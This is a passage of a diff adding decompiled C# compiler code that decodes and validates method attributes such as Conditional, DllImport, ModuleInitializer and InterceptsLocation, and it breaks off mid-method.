GetEarlyDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsEarlyDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (MethodEarlyWellKnownAttributeData)(object)val.EarlyDecodedWellKnownAttributeData; + } + + protected MethodWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (MethodWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + internal ReturnTypeWellKnownAttributeData GetDecodedReturnTypeWellKnownAttributeData() + { + CustomAttributesBag val = _lazyReturnTypeCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetReturnTypeAttributesBag(); + } + return (ReturnTypeWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + private CustomAttributesBag GetAttributesBag() + { + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsSealed) + { + return lazyCustomAttributesBag; + } + return GetAttributesBag(ref _lazyCustomAttributesBag, forReturnType: false); + } + + private CustomAttributesBag GetReturnTypeAttributesBag() + { + CustomAttributesBag lazyReturnTypeCustomAttributesBag = _lazyReturnTypeCustomAttributesBag; + if (lazyReturnTypeCustomAttributesBag != null && lazyReturnTypeCustomAttributesBag.IsSealed) + { + return lazyReturnTypeCustomAttributesBag; + } + return GetAttributesBag(ref _lazyReturnTypeCustomAttributesBag, forReturnType: true); + } + + private CustomAttributesBag GetAttributesBag(ref CustomAttributesBag lazyCustomAttributesBag, bool forReturnType) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + SourceMemberMethodSymbol boundAttributesSource = BoundAttributesSource; + bool flag; + if ((object)boundAttributesSource != null) + { + CustomAttributesBag value = (forReturnType ? boundAttributesSource.GetReturnTypeAttributesBag() : boundAttributesSource.GetAttributesBag()); + flag = Interlocked.CompareExchange(ref lazyCustomAttributesBag, value, null) == null; + } + else + { + AttributeLocation symbolPart; + OneOrMany> attributesSyntaxLists; + if (!forReturnType) + { + OneOrMany> attributeDeclarations = GetAttributeDeclarations(); + AttributeLocation attributeLocationForLoadAndValidateAttributes = AttributeLocationForLoadAndValidateAttributes; + symbolPart = attributeLocationForLoadAndValidateAttributes; + attributesSyntaxLists = attributeDeclarations; + } + else + { + OneOrMany> returnTypeAttributeDeclarations = GetReturnTypeAttributeDeclarations(); + symbolPart = AttributeLocation.Return; + attributesSyntaxLists = returnTypeAttributeDeclarations; + } + flag = LoadAndValidateAttributes(attributesSyntaxLists, ref lazyCustomAttributesBag, symbolPart, earlyDecodingOnly: false, OuterBinder); + } + if (flag) + { + NoteAttributesComplete(forReturnType); + } + return lazyCustomAttributesBag; + } + + protected abstract void NoteAttributesComplete(bool forReturnType); + + public override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + public override ImmutableArray GetReturnTypeAttributes() + { + return GetReturnTypeAttributesBag().Attributes; + } + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + if (arguments.SymbolPart == AttributeLocation.None) + { + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.ConditionalAttribute)) + { + var (cSharpAttributeData, item) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out var generatedDiagnostics); + if (!((AttributeData)cSharpAttributeData).HasErrors) + { + string constructorArgument = ((AttributeData)cSharpAttributeData).GetConstructorArgument(0, (SpecialType)20); + ((CommonMethodEarlyWellKnownAttributeData)arguments.GetOrCreateData()).AddConditionalSymbol(constructorArgument); + if (!generatedDiagnostics) + { + return (cSharpAttributeData, item); + } + } + return (null, null); + } + if (Symbol.EarlyDecodeDeprecatedOrExperimentalOrObsoleteAttribute(ref arguments, out CSharpAttributeData attributeData, out BoundAttribute boundAttribute, out ObsoleteAttributeData obsoleteData)) + { + if (obsoleteData != null) + { + ((CommonMethodEarlyWellKnownAttributeData)arguments.GetOrCreateData()).ObsoleteAttributeData = obsoleteData; + } + return (attributeData, boundAttribute); + } + if (CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.UnmanagedCallersOnlyAttribute)) + { + arguments.GetOrCreateData().UnmanagedCallersOnlyAttributePresent = true; + return (null, null); + } + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + public ImmutableArray<(CSharpAttributeData, BoundAttribute)> BindMethodAttributes() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return BindAttributes(GetAttributeDeclarations(), OuterBinder); + } + + internal sealed override UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + if (syntaxReferenceOpt == null) + { + return null; + } + if (forceComplete) + { + GetAttributes(); + } + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag == null || !lazyCustomAttributesBag.IsEarlyDecodedWellKnownAttributeDataComputed) + { + return UnmanagedCallersOnlyAttributeData.Uninitialized; + } + if (lazyCustomAttributesBag.IsDecodedWellKnownAttributeDataComputed) + { + return ((MethodWellKnownAttributeData)(object)lazyCustomAttributesBag.DecodedWellKnownAttributeData)?.UnmanagedCallersOnlyAttributeData; + } + MethodEarlyWellKnownAttributeData obj = (MethodEarlyWellKnownAttributeData)(object)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (obj == null || !obj.UnmanagedCallersOnlyAttributePresent) + { + return null; + } + return UnmanagedCallersOnlyAttributeData.AttributePresentDataNotBound; + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + MethodEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return ImmutableArray.Empty; + } + return ((CommonMethodEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).ConditionalSymbols; + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + if (arguments.SymbolPart == AttributeLocation.None) + { + DecodeWellKnownAttributeAppliedToMethod(ref arguments); + } + else + { + DecodeWellKnownAttributeAppliedToReturnValue(ref arguments); + } + } + + private void DecodeWellKnownAttributeAppliedToMethod(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_018f: Unknown result type (might be due to invalid IL or missing references) + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + //IL_01d8: Unknown result type (might be due to invalid IL or missing references) + //IL_0206: Unknown result type (might be due to invalid IL or missing references) + //IL_0234: Unknown result type (might be due to invalid IL or missing references) + //IL_0227: Unknown result type (might be due to invalid IL or missing references) + //IL_024a: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + //IL_0293: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if (attribute.IsTargetAttribute(this, AttributeDescription.PreserveSigAttribute)) + { + ((CommonMethodWellKnownAttributeData)arguments.GetOrCreateData()).SetPreserveSignature(arguments.Index); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MethodImplAttribute)) + { + AttributeData.DecodeMethodImplAttribute(ref arguments, (CommonMessageProvider)(object)MessageProvider.Instance); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DllImportAttribute)) + { + DecodeDllImportAttribute(ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SpecialNameAttribute)) + { + ((CommonMethodWellKnownAttributeData)arguments.GetOrCreateData()).HasSpecialNameAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ExcludeFromCodeCoverageAttribute)) + { + ((CommonMethodWellKnownAttributeData)arguments.GetOrCreateData()).HasExcludeFromCodeCoverageAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ConditionalAttribute)) + { + ValidateConditionalAttribute(attribute, arguments.AttributeSyntaxOpt, bindingDiagnosticBag); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SuppressUnmanagedCodeSecurityAttribute)) + { + ((CommonMethodWellKnownAttributeData)arguments.GetOrCreateData()).HasSuppressUnmanagedCodeSecurityAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DynamicSecurityMethodAttribute)) + { + ((CommonMethodWellKnownAttributeData)arguments.GetOrCreateData()).HasDynamicSecurityMethodAttribute = true; + } + else + { + if (VerifyObsoleteAttributeAppliedToMethod(ref arguments, AttributeDescription.ObsoleteAttribute) || VerifyObsoleteAttributeAppliedToMethod(ref arguments, AttributeDescription.DeprecatedAttribute) || ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.IsReadOnlyAttribute | ReservedAttributes.IsUnmanagedAttribute | ReservedAttributes.IsByRefLikeAttribute | ReservedAttributes.NullableContextAttribute | ReservedAttributes.CaseSensitiveExtensionAttribute | ReservedAttributes.RequiresLocationAttribute)) + { + return; + } + if (attribute.IsTargetAttribute(this, AttributeDescription.SecurityCriticalAttribute) || attribute.IsTargetAttribute(this, AttributeDescription.SecuritySafeCriticalAttribute)) + { + if (IsAsync) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_SecurityCriticalOrSecuritySafeCriticalOnAsync, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, arguments.AttributeSyntaxOpt.GetErrorDisplayName()); + } + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SkipLocalsInitAttribute)) + { + CSharpAttributeData.DecodeSkipLocalsInitAttribute(DeclaringCompilation, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.DoesNotReturnAttribute)) + { + arguments.GetOrCreateData().HasDoesNotReturnAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MemberNotNullAttribute)) + { + MessageID.IDS_FeatureMemberNotNull.CheckFeatureAvailability(bindingDiagnosticBag, (SyntaxNode)(object)arguments.AttributeSyntaxOpt); + CSharpAttributeData.DecodeMemberNotNullAttribute((TypeSymbol)ContainingType, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.MemberNotNullWhenAttribute)) + { + MessageID.IDS_FeatureMemberNotNull.CheckFeatureAvailability(bindingDiagnosticBag, (SyntaxNode)(object)arguments.AttributeSyntaxOpt); + CSharpAttributeData.DecodeMemberNotNullWhenAttribute((TypeSymbol)ContainingType, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ModuleInitializerAttribute)) + { + MessageID.IDS_FeatureModuleInitializers.CheckFeatureAvailability(bindingDiagnosticBag, (SyntaxNode)(object)arguments.AttributeSyntaxOpt); + DecodeModuleInitializerAttribute(arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.UnmanagedCallersOnlyAttribute)) + { + DecodeUnmanagedCallersOnlyAttribute(ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.UnscopedRefAttribute)) + { + if (this.IsValidUnscopedRefAttributeTarget()) + { + arguments.GetOrCreateData().HasUnscopedRefAttribute = true; + } + else + { + bindingDiagnosticBag.Add(ErrorCode.ERR_UnscopedRefAttributeUnsupportedMemberTarget, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.InterceptsLocationAttribute)) + { + DecodeInterceptsLocationAttribute(arguments); + } + else + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (attribute.IsSecurityAttribute(declaringCompilation)) + { + attribute.DecodeSecurityAttribute((Symbol)this, declaringCompilation, ref arguments); + } + } + } + } + + private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(MethodWellKnownAttributeData attributeData) + { + if (attributeData == null || !attributeData.HasDoesNotReturnAttribute) + { + return FlowAnalysisAnnotations.None; + } + return FlowAnalysisAnnotations.DoesNotReturn; + } + + private bool VerifyObsoleteAttributeAppliedToMethod(ref DecodeWellKnownAttributeArguments arguments, AttributeDescription description) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + if (arguments.Attribute.IsTargetAttribute(this, description)) + { + if (this.IsAccessor()) + { + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if (this is SourceEventAccessorSymbol) + { + AttributeUsageInfo attributeUsageInfo = arguments.Attribute.AttributeClass.GetAttributeUsageInfo(); + bindingDiagnosticBag.Add(ErrorCode.ERR_AttributeNotOnEventAccessor, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location, ((AttributeDescription)(ref description)).FullName, ((AttributeUsageInfo)(ref attributeUsageInfo)).GetValidTargetsErrorArgument()); + } + else + { + MessageID.IDS_FeatureObsoleteOnPropertyAccessor.CheckFeatureAvailability(bindingDiagnosticBag, (SyntaxNode)(object)arguments.AttributeSyntaxOpt); + } + } + return true; + } + return false; + } + + private void ValidateConditionalAttribute(CSharpAttributeData attribute, AttributeSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Invalid comparison between Unknown and I4 + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Invalid comparison between Unknown and I4 + if (this.IsAccessor()) + { + AttributeUsageInfo attributeUsageInfo = attribute.AttributeClass.GetAttributeUsageInfo(); + diagnostics.Add(ErrorCode.ERR_AttributeNotOnAccessor, ((SyntaxNode)node.Name).Location, node.GetErrorDisplayName(), ((AttributeUsageInfo)(ref attributeUsageInfo)).GetValidTargetsErrorArgument()); + return; + } + if (ContainingType.IsInterfaceType()) + { + diagnostics.Add(ErrorCode.ERR_ConditionalOnInterfaceMethod, ((SyntaxNode)node).Location); + return; + } + if (IsOverride) + { + diagnostics.Add(ErrorCode.ERR_ConditionalOnOverride, ((SyntaxNode)node).Location, this); + return; + } + if (!base.CanBeReferencedByName || (int)MethodKind == 4) + { + diagnostics.Add(ErrorCode.ERR_ConditionalOnSpecialMethod, ((SyntaxNode)node).Location, this); + return; + } + if (!ReturnsVoid) + { + diagnostics.Add(ErrorCode.ERR_ConditionalMustReturnVoid, ((SyntaxNode)node).Location, this); + return; + } + if (HasAnyOutParameter()) + { + diagnostics.Add(ErrorCode.ERR_ConditionalWithOutParam, ((SyntaxNode)node).Location, this); + return; + } + if ((object)this != null && (int)MethodKind == 17 && !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_ConditionalOnLocalFunction, ((SyntaxNode)node).Location, this); + return; + } + string constructorArgument = ((AttributeData)attribute).GetConstructorArgument(0, (SpecialType)20); + if (constructorArgument == null || !SyntaxFacts.IsValidIdentifier(constructorArgument)) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)attribute).GetAttributeArgumentSyntax(0, node); + diagnostics.Add(ErrorCode.ERR_BadArgumentToAttribute, ((SyntaxNode)attributeArgumentSyntax).Location, node.GetErrorDisplayName()); + } + } + + private bool HasAnyOutParameter() + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((int)enumerator.Current.RefKind == 2) + { + return true; + } + } + return false; + } + + private void DecodeWellKnownAttributeAppliedToReturnValue(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + _ = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if (attribute.IsTargetAttribute(this, AttributeDescription.MarshalAsAttribute)) + { + MarshalAsAttributeDecoder.Decode(ref arguments, AttributeTargets.ReturnValue, (CommonMessageProvider)(object)MessageProvider.Instance); + } + else if (!ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.DynamicAttribute | ReservedAttributes.IsReadOnlyAttribute | ReservedAttributes.IsUnmanagedAttribute | ReservedAttributes.IsByRefLikeAttribute | ReservedAttributes.TupleElementNamesAttribute | ReservedAttributes.NullableAttribute | ReservedAttributes.NativeIntegerAttribute | ReservedAttributes.RequiresLocationAttribute)) + { + if (attribute.IsTargetAttribute(this, AttributeDescription.MaybeNullAttribute)) + { + arguments.GetOrCreateData().HasMaybeNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullAttribute)) + { + arguments.GetOrCreateData().HasNotNullAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.NotNullIfNotNullAttribute)) + { + arguments.GetOrCreateData().AddNotNullIfParameterNotNull(attribute.DecodeNotNullIfNotNullAttribute()); + } + } + } + + private void DecodeDllImportAttribute(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_02d8: Unknown result type (might be due to invalid IL or missing references) + //IL_02dd: Unknown result type (might be due to invalid IL or missing references) + //IL_026f: Unknown result type (might be due to invalid IL or missing references) + //IL_0274: Unknown result type (might be due to invalid IL or missing references) + //IL_031a: Unknown result type (might be due to invalid IL or missing references) + //IL_031f: Unknown result type (might be due to invalid IL or missing references) + //IL_02f0: Unknown result type (might be due to invalid IL or missing references) + //IL_02f5: Unknown result type (might be due to invalid IL or missing references) + //IL_0305: Unknown result type (might be due to invalid IL or missing references) + //IL_030a: Unknown result type (might be due to invalid IL or missing references) + //IL_0346: Unknown result type (might be due to invalid IL or missing references) + //IL_034b: Unknown result type (might be due to invalid IL or missing references) + //IL_032f: Unknown result type (might be due to invalid IL or missing references) + //IL_0334: Unknown result type (might be due to invalid IL or missing references) + //IL_0360: Unknown result type (might be due to invalid IL or missing references) + //IL_0365: Unknown result type (might be due to invalid IL or missing references) + //IL_02a1: Unknown result type (might be due to invalid IL or missing references) + //IL_02a6: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + bool flag = false; + MethodSymbol methodSymbol = PartialImplementationPart ?? this; + if (!methodSymbol.IsExtern || !methodSymbol.IsStatic) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_DllImportOnInvalidMethod, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + flag = true; + } + bool flag2 = false; + MethodSymbol methodSymbol2 = this; + while ((object)methodSymbol2 != null) + { + if (methodSymbol2.IsGenericMethod) + { + flag2 = true; + break; + } + methodSymbol2 = methodSymbol2.ContainingSymbol as MethodSymbol; + } + if (!flag2) + { + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType == null || !containingType.IsGenericType) + { + goto IL_00ad; + } + } + bindingDiagnosticBag.Add(ErrorCode.ERR_DllImportOnGenericMethod, ((SyntaxNode)arguments.AttributeSyntaxOpt.Name).Location); + flag = true; + goto IL_00ad; + IL_00ad: + string text = ((AttributeData)attribute).GetConstructorArgument(0, (SpecialType)20); + if (!MetadataHelpers.IsValidMetadataIdentifier(text)) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)attribute).GetAttributeArgumentSyntax(0, arguments.AttributeSyntaxOpt); + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidAttributeArgument, ((SyntaxNode)attributeArgumentSyntax).Location, arguments.AttributeSyntaxOpt.GetErrorDisplayName()); + flag = true; + text = null; + } + CharSet charSet = GetEffectiveDefaultMarshallingCharSet() ?? CharSet.None; + string text2 = null; + bool flag3 = true; + CallingConvention callingConvention = System.Runtime.InteropServices.CallingConvention.Winapi; + bool flag4 = false; + bool flag5 = false; + bool? flag6 = null; + bool? flag7 = null; + int num = 1; + ImmutableArray>.Enumerator enumerator = ((AttributeData)attribute).CommonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + TypedConstant value; + switch (current.Key) + { + case "EntryPoint": + value = current.Value; + text2 = ((TypedConstant)(ref value)).ValueInternal as string; + if (!MetadataHelpers.IsValidMetadataIdentifier(text2)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidNamedArgument, ((SyntaxNode)arguments.AttributeSyntaxOpt.ArgumentList.Arguments[num]).Location, current.Key); + flag = true; + text2 = null; + } + break; + case "CharSet": + value = current.Value; + charSet = ((TypedConstant)(ref value)).DecodeValue((SpecialType)2); + break; + case "SetLastError": + value = current.Value; + flag4 = ((TypedConstant)(ref value)).DecodeValue((SpecialType)7); + break; + case "ExactSpelling": + value = current.Value; + flag5 = ((TypedConstant)(ref value)).DecodeValue((SpecialType)7); + break; + case "PreserveSig": + value = current.Value; + flag3 = ((TypedConstant)(ref value)).DecodeValue((SpecialType)7); + break; + case "CallingConvention": + value = current.Value; + callingConvention = ((TypedConstant)(ref value)).DecodeValue((SpecialType)2); + break; + case "BestFitMapping": + value = current.Value; + flag6 = ((TypedConstant)(ref value)).DecodeValue((SpecialType)7); + break; + case "ThrowOnUnmappableChar": + value = current.Value; + flag7 = ((TypedConstant)(ref value)).DecodeValue((SpecialType)7); + break; + } + num++; + } + if (!flag) + { + ((CommonMethodWellKnownAttributeData)arguments.GetOrCreateData()).SetDllImport(arguments.Index, text, text2 ?? Name, DllImportData.MakeFlags(flag5, charSet, flag4, callingConvention, flag6, flag7), flag3); + } + } + + private void DecodeModuleInitializerAttribute(DecodeWellKnownAttributeArguments arguments) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if ((int)MethodKind != 10) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ModuleInitializerMethodMustBeOrdinary, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + return; + } + bool flag = false; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)bindingDiagnosticBag, ContainingAssembly); + if (!AccessCheck.IsSymbolAccessible(this, ContainingAssembly, ref useSiteInfo)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ModuleInitializerMethodMustBeAccessibleOutsideTopLevelType, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, Name); + flag = true; + } + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add((SyntaxNode)(object)arguments.AttributeSyntaxOpt, useSiteInfo); + if (!IsStatic || ParameterCount > 0 || !ReturnsVoid || IsAbstract || IsVirtual) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ModuleInitializerMethodMustBeStaticParameterlessVoid, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, Name); + flag = true; + } + if (IsGenericMethod || ContainingType.IsGenericType) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ModuleInitializerMethodAndContainingTypesMustNotBeGeneric, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location, Name); + flag = true; + } + if (_lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData is MethodEarlyWellKnownAttributeData { UnmanagedCallersOnlyAttributePresent: not false }) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_ModuleInitializerCannotBeUnmanagedCallersOnly, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + flag = true; + } + if (!flag && !CallsAreOmitted(arguments.AttributeSyntaxOpt.SyntaxTree)) + { + DeclaringCompilation.AddModuleInitializerMethod(this); + } + } + + private void DecodeInterceptsLocationAttribute(DecodeWellKnownAttributeArguments arguments) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Invalid comparison between Unknown and I4 + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0190: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Invalid comparison between Unknown and I4 + //IL_01d7: Unknown result type (might be due to invalid IL or missing references) + //IL_01dc: Unknown result type (might be due to invalid IL or missing references) + //IL_03af: Unknown result type (might be due to invalid IL or missing references) + //IL_03b4: Unknown result type (might be due to invalid IL or missing references) + //IL_041e: Unknown result type (might be due to invalid IL or missing references) + //IL_0423: Unknown result type (might be due to invalid IL or missing references) + //IL_0425: Unknown result type (might be due to invalid IL or missing references) + //IL_0427: Unknown result type (might be due to invalid IL or missing references) + //IL_04e4: Unknown result type (might be due to invalid IL or missing references) + //IL_04e9: Unknown result type (might be due to invalid IL or missing references) + //IL_04fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0500: Unknown result type (might be due to invalid IL or missing references) + //IL_0504: Unknown result type (might be due to invalid IL or missing references) + //IL_0509: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + ImmutableArray commonConstructorArguments = ((AttributeData)attribute).CommonConstructorArguments; + BindingDiagnosticBag bindingDiagnosticBag; + Location location; + SyntaxTree val6; + int num3; + int num4; + int num6; + SyntaxToken val8; + if (commonConstructorArguments.Length == 3) + { + TypedConstant val = commonConstructorArguments[0]; + ITypeSymbol type = ((TypedConstant)(ref val)).Type; + if (type != null && (int)type.SpecialType == 20) + { + TypedConstant val2 = commonConstructorArguments[1]; + if ((int)((TypedConstant)(ref val2)).Kind != 4 && ((TypedConstant)(ref val2)).Value is int num) + { + TypedConstant val3 = commonConstructorArguments[2]; + if ((int)((TypedConstant)(ref val3)).Kind != 4 && ((TypedConstant)(ref val3)).Value is int num2) + { + bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + AttributeSyntax attributeSyntaxOpt = arguments.AttributeSyntaxOpt; + location = ((SyntaxNode)attributeSyntaxOpt).Location; + ImmutableArray> interceptorsPreviewNamespaces = ((CSharpParseOptions)(object)attributeSyntaxOpt.SyntaxTree.Options).InterceptorsPreviewNamespaces; + ArrayBuilder thisNamespaceNames = getNamespaceNames(); + if (!interceptorsPreviewNamespaces.Any>((ImmutableArray ns) => isDeclaredInNamespace(thisNamespaceNames, ns))) + { + reportFeatureNotEnabled(bindingDiagnosticBag, attributeSyntaxOpt, thisNamespaceNames); + thisNamespaceNames.Free(); + return; + } + thisNamespaceNames.Free(); + val3 = commonConstructorArguments[0]; + string text = (string)((TypedConstant)(ref val3)).Value; + if (text == null) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorFilePathCannotBeNull, ((AttributeData)(object)attribute).GetAttributeArgumentSyntaxLocation(0, attributeSyntaxOpt)); + return; + } + if (ContainingType.IsGenericType) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorContainingTypeCannotBeGeneric, location, this); + return; + } + if ((int)MethodKind != 10) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorMethodMustBeOrdinary, location); + return; + } + if (GetUnmanagedCallersOnlyAttributeData(forceComplete: false) != null) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_InterceptorCannotUseUnmanagedCallersOnly, location); + return; + } + ImmutableArray syntaxTrees = DeclaringCompilation.SyntaxTrees; + OneOrMany syntaxTreesByMappedPath = DeclaringCompilation.GetSyntaxTreesByMappedPath(text); + if (syntaxTreesByMappedPath.Count == 0) + { + SourceReferenceResolver sourceReferenceResolver = ((CompilationOptions)DeclaringCompilation.Options).SourceReferenceResolver; + SyntaxTree val4 = ImmutableArrayExtensions.FirstOrDefault(syntaxTrees, (Func)((SyntaxTree tree, string filePath) => tree.FilePath == filePath), text); + if (val4 != null) + { + 